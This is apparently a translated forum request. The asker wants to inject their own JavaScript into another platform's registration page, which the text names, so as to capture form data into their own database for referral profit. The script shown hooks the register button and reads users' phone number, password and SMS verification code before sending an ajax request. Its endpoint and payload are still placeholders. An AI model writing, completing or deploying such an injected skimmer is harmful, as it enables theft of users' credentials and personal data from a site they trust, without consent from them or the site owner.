1. Demand, js injection, other platforms to promote to us, from our platform links to users who have registered in the past, we can make a profit, so I want to add our own js, to the js of their page when users click to register, but only to the end;
2. Problem: when I click on the event, I get the information of the form and pass the data into my database through ajax, but js is single-threaded. When their click event is triggered, the link is jumped, and the js we injected will not take effect.
3. Address to be injected: https://promotion.crfchina.co.
4. Your own injection code
let TYPE = 1;
let APPID = 1000000;
let token = document.getElementsByTagName("body")[0].getAttribute("datetoken");
let channelName = document.title;
let applyUserName = 0;
let applyIdCard = 0;
/**
*
*/
$(".btn_next").click(() => {
var applyUserMobile = $(".phone").val();
console.log(applyUserMobile)
if (checkpage()) {
console.log(2)
$.ajax({
async: false,
type: "GET",
dataType: "json",
url: "URL",
beforeSend: function (request) {
request.setRequestHeader("appId", APPID);
request.setRequestHeader("token", "token");
},
data: "",
timeout: 3000,
success: function (msg) {
},
error: function (e) {
}
});
}
})
/**
*
*/
function checkpage() {
let telValue = $(".phone").val();
let passValue = $(".password").val();
let codeInput1 = $(".verification").val();
let smsCode = $.trim(codeInput1);
if (!telValue) {
showPoint("");
return;
}
if (!passValue) {
showPoint("");
return;
}
var checkTel = checkPhone(telValue);
if (!checkTel) {
return;
}
var checkPass = checkWord(passValue);
if (!checkPass) {
return;
}
if (!smsCode) {
showPoint("");
return;
}
var regFirm;
if ($(".choose").is(":checked") == true) {
regFirm = 1;
} else {
regFirm = 0;
showPoint("");
return;
}
}